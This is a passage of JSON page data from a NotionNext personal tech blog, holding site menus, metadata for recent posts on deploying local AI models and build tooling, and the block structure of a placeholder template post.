a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"93032c73-435f-4a73-8087-b71ecff3a86b":{"value":{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","version":7,"type":"page","content":["493c55bd-4441-4c1b-9ed3-3727291c7165","caf1ea9d-0926-41f4-8e85-090005e6e233","49531064-73d7-4a2a-806a-aa52e6c02baf","36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1","d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf","96ece850-8ea7-4392-aa14-5652d12c0e85","4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad","0824d5ea-eb31-48ac-9395-01a217b32b7d","c12fce83-2492-406d-ae08-a07b3da800c0","033e1eff-5111-4814-a316-b18a825cd37f","9da00a5e-0324-42dd-951e-4a7f0357a394","1da35185-65c3-4334-9a03-4627538afd8a","4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a","5bee4538-9df1-457d-9698-67f05ee5fb11"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"812fb188-40d0-4243-870f-852c143e0cf3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337112,"last_edited_time":1705630799318,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"812fb188-40d0-4243-870f-852c143e0cf3","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"493c55bd-4441-4c1b-9ed3-3727291c7165":{"value":{"id":"493c55bd-4441-4c1b-9ed3-3727291c7165","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["231b50b7-60fb-44fb-8978-2b12221a700a"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"fbc30a91-d324-4d91-b94b-2e2f627e7191","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fbc30a91-d324-4d91-b94b-2e2f627e7191"}},"caf1ea9d-0926-41f4-8e85-090005e6e233":{"value":{"id":"caf1ea9d-0926-41f4-8e85-090005e6e233","type":"text","format":{"copied_from_pointer":{"id":"106a5d1b-ad19-4008-9a68-6d29788ad7ab","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"106a5d1b-ad19-4008-9a68-6d29788ad7ab"}},"49531064-73d7-4a2a-806a-aa52e6c02baf":{"value":{"id":"49531064-73d7-4a2a-806a-aa52e6c02baf","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"7f9ecb2b-7f92-499d-8418-ad4acd28a3c0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"7f9ecb2b-7f92-499d-8418-ad4acd28a3c0"}},"36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1":{"value":{"id":"36a0c353-d7a8-4ae6-a4e9-1e2d9f605fc1","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"9fb47e91-4cd8-4773-b883-7d51ef688cad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"9fb47e91-4cd8-4773-b883-7d51ef688cad"}},"d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf":{"value":{"id":"d0c4d00d-5e5f-4f6a-bbbb-4fafe04153bf","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"fa7c273f-dd86-48c3-a29a-1312f486273f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fa7c273f-dd86-48c3-a29a-1312f486273f"}},"96ece850-8ea7-4392-aa14-5652d12c0e85":{"value":{"id":"96ece850-8ea7-4392-aa14-5652d12c0e85","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"1358a33c-a6af-472b-b8ce-4ef9ae234be5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"1358a33c-a6af-472b-b8ce-4ef9ae234be5"}},"4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad":{"value":{"id":"4fa6f1e1-5a73-4b50-a188-f9ef9f3870ad","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"877fb635-975e-4861-ab6c-312fa64f506c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"877fb635-975e-4861-ab6c-312fa64f506c"}},"0824d5ea-eb31-48ac-9395-01a217b32b7d":{"value":{"id":"0824d5ea-eb31-48ac-9395-01a217b32b7d","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"193aeb1c-70d0-4348-9f42-039692abd89e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"193aeb1c-70d0-4348-9f42-039692abd89e"}},"c12fce83-2492-406d-ae08-a07b3da800c0":{"value":{"id":"c12fce83-2492-406d-ae08-a07b3da800c0","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"0feea3ad-52ca-4874-a9d7-349109f3ae25","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337124,"last_edited_time":1705594337124,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"0feea3ad-52ca-4874-a9d7-349109f3ae25"}},"033e1eff-5111-4814-a316-b18a825cd37f":{"value":{"id":"033e1eff-5111-4814-a316-b18a825cd37f","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"ed9b4414-ca73-4f7e-9feb-18a50c0bca9c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"ed9b4414-ca73-4f7e-9feb-18a50c0bca9c"}},"9da00a5e-0324-42dd-951e-4a7f0357a394":{"value":{"id":"9da00a5e-0324-42dd-951e-4a7f0357a394","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"9d718003-3670-4898-bc5f-347e7a352572","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"9d718003-3670-4898-bc5f-347e7a352572"}},"1da35185-65c3-4334-9a03-4627538afd8a":{"value":{"id":"1da35185-65c3-4334-9a03-4627538afd8a","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"7279b3b5-6745-4b08-93a6-3523963d454d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"7279b3b5-6745-4b08-93a6-3523963d454d"}},"4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a":{"value":{"id":"4ccb751e-43d2-4d4a-bce2-8fcfe66ecf1a","type":"text","format":{"copied_from_pointer":{"id":"20ffef44-56b9-4484-bef1-552ac2029985","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"20ffef44-56b9-4484-bef1-552ac2029985"}},"5bee4538-9df1-457d-9698-67f05ee5fb11":{"value":{"id":"5bee4538-9df1-457d-9698-67f05ee5fb11","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"fb47af46-83db-4e8d-aca9-f2fae4100812","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337125,"last_edited_time":1705594337125,"parent_id":"93032c73-435f-4a73-8087-b71ecff3a86b","parent_table":"block","alive":true,"copied_from":"fb47af46-83db-4e8d-aca9-f2fae4100812"}},"231b50b7-60fb-44fb-8978-2b12221a700a":{"value":{"id":"231b50b7-60fb-44fb-8978-2b12221a700a","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"97bc954b-3123-4311-916d-1dc564f3e629","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"493c55bd-4441-4c1b-9ed3-3727291c7165","parent_table":"block","alive":true,"copied_from":"97bc954b-3123-4311-916d-1dc564f3e629"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab